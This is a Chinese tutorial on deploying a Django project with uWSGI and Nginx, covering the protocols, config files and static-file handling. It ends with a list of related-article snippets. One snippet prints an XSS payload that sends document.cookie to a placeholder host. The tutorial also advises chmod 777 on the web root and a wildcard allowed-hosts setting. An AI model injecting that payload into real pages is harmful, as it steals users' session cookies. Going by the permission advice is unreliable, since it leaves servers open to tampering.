了解django部署(Django + Uwsgi + Nginx)
首先了解下基本概念:
1 WSGI
WSGI:全称是Web Server Gateway Interface,是python应用程序或者框架和web服务器之间的一种接口,被广泛接受。WSGI不是服务器,python模块,框架,api或者任何软件,它更像是一种规范。描述web server如何和web application通信的规范。要实现WSGI协议,必须同时实现web server和web application,当前运行在WSGI协议上的web框架有django和flask。
WSGI主要包括server和application两部分,server负责从客户端接收请求,将request转发给application,将application返回的response返回给客户端。application负责接收server转发的request,处理请求,并将处理结构返回给server。application中可以包括多个栈式的中间件(middlewares),这些中间件需要同时实现server与application,因此可以在WSGI服务器与WSGI应用之间起调节作用:对服务器来说,中间件扮演应用程序,对应用程序来说,中间件扮演服务器。
2 uwsgi
uwsgi:与WSGI同样是一种通信协议,是uWSGI服务器的独占协议,用于定义传输信息的类型,规定了怎么把请求转发给应用程序和返回。每一个uwsgi packet的前4byte为传输信息的描述,与WSGI协议是两种协议。
3 uWSGI
uWSGI:是一个web服务器,实现了WSGI协议,uwsgi,http协议等。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进交互。
4 Nginx
Nginx:Nginx是一款高性能的web和反向代理服务器。
正向代理:浏览器主动请求代理服务器,代理服务器转发请求到对应的目标服务器。
反向代理:部署在web服务器上,代理所有外部网络对内部网络的访问,浏览器访问服务器,必须经过这个代理,是被动的。
正向代理的主动方是客户端,反向代理的主动方是服务器。
了解了基本概念就可以开始部署:
1 服务器环境配置
- 在本地的虚拟环境中,项目根目录下,执行命令收集所有包
pip freeze > plist.txt
- 通过ftp软件将开发好的项目上传到此服务器的某个目录
- 安装并创建虚拟环境,如果已有则跳过此步
sudo apt-get install python-virtualenv
sudo easy_install virtualenvwrapper
mkvirtualenv [虚拟环境名称]
- 在虚拟环境上工作,安装所有需要的包
workon [虚拟环境名称]
pip install -r plist.txt
- 更改settings.py文件
DEBUG = False
ALLOW_HOSTS=['*',]表示可以访问服务器的ip
- 启动服务器,运行正常,但是静态文件无法加载
2 uWSGI
- uWSGI实现了WSGI的所有接口,是一个快速、自我修复、开发人员和系统管理员友好的服务器
- uWSGI代码完全用C编写
- 安装uWSGI
pip install uwsgi
- 配置uWSGI,在项目中新建文件uwsgi.ini,编写如下配置
[uwsgi]
socket=外网ip:端口(使用nginx连接时,使用socket)
http=外网ip:端口(直接做web服务器,使用http)
chdir=项目根目录
wsgi-file=项目中wsgi.py文件的目录,相对于项目根目录
processes=4
threads=2
master=True
pidfile=uwsgi.pid
daemonize=uswgi.log
- 启动:uwsgi --ini uwsgi.ini
- 停止:uwsgi --stop uwsgi.pid
- 重启:uwsgi --reload uwsgi.pid
- 使用http协议查看网站运行情况,运行正常,但是静态文件无法加载
3 Nginx
- 使用nginx的作用实现构架:客户端请求nginx,再由nginx请求uwsgi,运行django框架下的python代码
- 负载均衡:多台服务器轮流处理请求
- 反射代理:隐藏真实服务器
- nginx+uwsgi也可以用于其它框架的python web代码,不限于django
- 到官网下载nginx压缩文件或通过命令安装
sudo apt-get nginx
- 这里以下载压缩文件为例演示
解压缩:
tar zxvf nginx-1.6.3.tar.gz
进入nginx-1.6.3目录依次执行如下命令进行安装:
./configure
make
sudo make install
- 默认安装到/usr/local/nginx目录,进入此目录执行命令
- 查看版本:sudo sbin/nginx -v
- 启动:sudo sbin/nginx
- 停止:sudo sbin/nginx -s stop
- 重启:sudo sbin/nginx -s reload
- 通过浏览器查看nginx运行结果
- 指向uwsgi项目:编辑conf/nginx.conf文件
sudo conf/nginx.conf
在server下添加新的location项,指向uwsgi的ip与端口
location / {
include uwsgi_params;将所有的参数转到uwsgi下
uwsgi_pass uwsgi的ip与端口;
}
- 修改uwsgi.ini文件,启动socket,禁用http
- 重启nginx、uwsgi
- 在浏览器中查看项目,发现静态文件加载不正常,接下来解决静态文件的问题
4 静态文件
- 静态文件一直都找不到,现在终于可以解决了
- 所有的静态文件都会由nginx处理,不会将请求转到uwsgi
- 配置nginx的静态项,打开conf/nginx.conf文件,找到server,添加新location
location /static {
alias /var/www/test5/static/;
}
- 在服务器上创建目录结构“/var/www/test5/”
- 修改目录权限
sudo chmod 777 /var/www/test5
- 创建static目录,注意顺序是先分配权限,再创建目录
mkdir static
- 最终目录结构如下图:
- 修改settings.py文件
STATIC_ROOT='/var/www/test5/static/'
STATIC_URL='/static/'
- 收集所有静态文件到static_root指定目录:python manage.py collectstatic
- 重启nginx、uwsgi
总结:
一张图也许可以更好的看清他们之间的关系:
USER和Nginx之间的通过http通信,Nginx和uWSGI之间通过uwsgi通信,uWSGI和框架和应用之间通过WSGi协议通信。
tornado和django的部署是不同的,下次有时间整理。
了解django部署(Django + Uwsgi + Nginx)的更多相关文章
- django项目在uwsgi+nginx上部署遇到的坑
本文来自网易云社区 作者:王超 问题背景 django框架提供了一个开发调试使用的WSGIServer, 使用这个服务器可以很方便的开发web应用.但是 正式环境下却不建议使用这个服务器, 其性能.安 ...
- Django【部署】uwsgi+nginx
uwsgi 遵循wsgi协议的web服务器 uwsgi的安装 pip install uwsgi uwsgi的配置 项目部署时,需要把settings.py文件夹下的: DEBUG = FALSE A ...
- Mxonline3.6 在阿里云服务器上的部署(uwsgi nginx)
我的项目结构 1. 执行`python manage.py migrate`命令,将迁移文件,映射到数据库中,创建相应的表. 进入数据库 use mxonline数据库 source /hom ...
- python部署-Flask+uwsgi+Nginx
一.Flask部分(app.py) flask即Python代码:部分参考代码如下,相信很多人如果看到这篇文章一定有flask的代码能力. from app import create_app fro ...
- Django -- 部署Django 静态文件不能获取
# 在部署上下之后无法正常显示后台admin的静态文件 # 因为文件都在django内部,而在nginx中将配置都设置到一个位置: # 措施: 1.在settings.py文件中添加配置; STATI ...
- 阿里云部署 Flask + uWSGI + Nginx
一.引言 今天入手了一台阿里云服务器,是centeros 7.5版本.本文解决的是 Flask 的部署问题.假设你的Flask的应用已经完成,现在只是部署的问题,本文以部署我的二次开发微信订阅号的项目 ...
- 基于centos7+nginx+uwsgi+python3+django2.0部署Django项目
0.序言 本文讲解如何基于centos7+nginx+uwsgi+python3+django2.0把windows上的本地项目部署到云服务器上. 本文服务器上的django项目和虚拟环境的路径将建立 ...
- nginx+uwsgi+django部署流程
当我们在用django开发的web项目时,开发测试过程中用到的是django自带的测试服务器,由于其安全及稳定等性能方面的局限性,django官方并不建议将测试服务器用在实际生产. nginx+uws ...
- virtualvenv+django+uWSGI+nginx 部署
原创博文 转载请注明出处! 1. virtualvenv 2. django 3. uWSGI 4. nginx 5. 踩坑记录 1. virtualvenv virtualvenv install ...
- Linux 集群概念 , wsgi , Nginx负载均衡实验 , 部署CRM(Django+uwsgi+nginx), 部署学城项目(vue+uwsgi+nginx)
Linux 集群概念 , wsgi , Nginx负载均衡实验 , 部署CRM(Django+uwsgi+nginx), 部署学城项目(vue+uwsgi+nginx) 一丶集群和Nginx反向代理 ...
随机推荐
- js事件流机制冒泡和捕获
JavaScript与HTML之间的交互是通过事件实现的.事件,就是文档或浏览器窗口中发生的一些特定的交互瞬间. 事件流 从页面中接收事件的顺序称为事件流. IE --> 事件冒泡流 Netsc ...
- winxp改AHCI不再蓝屏,不用改注册表,所有PC机通用
要用win8的pe 在通常的情况下,硬盘在BIOS中默认为原生IDE模式以获得最好的兼容性.对配件要求较高的W7,W8系统中,而通过开启硬盘AHCI模式,可以在一定程度上提升硬盘的性能表现.如果在ID ...
- 基本urllib库
urlib库 urllib库是Python中一个最基本的网络请求库.可以模拟浏览器的行为,向指定的服务器发送一个请求,并可以保存服务器返回的数据. urlopen函数: 在Python3的urllib ...
- ubuntu16.04之mongodb自动备份
cron服务是Linux的内置服务,但它不会开机自动启动.可以用以下命令启动和停止服务: service cron start service cron stop service cron resta ...
- xss 加载远程第三方JS
script 没有调用远程平台,用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.coo ...
- DBUtils - Python数据库连接池
flask没有ORM操作这一功能, 但是想要操作数据库怎么办呢, 使用第三方包DBUtils 查询需要SQL原生语句! DBUtils 第一步还是要下载 使用pycharm直接搜索DBUtils fr ...
- Azkaban日志中文乱码问题解决
Azkaban作为LinkedIn开源的任务流式管理工具,在工作中很大程度上被用到.但是,由于非国人开发,对中文的支持性很不好.大多数情况下,会出现几种乱码现象: - 执行内置脚本生成log乱码 - ...
- win10自带的防火墙Windows Defender
Windows Defender防火墙(别名:windows守卫者)是微软公司自主研发的一款基于windows自身保护的一款系统. Windows Defender可以对系统进行实时监控,对于Wind ...
- C#一句话判断两个List<T>是否相等
List1.All(List2.Contains) && List1.Count == List2.Count
- mysql node
mysql8.0版本 报错:Error: ER_NOT_SUPPORTED_AUTH_MODE: Client does not support authentication protocol req ...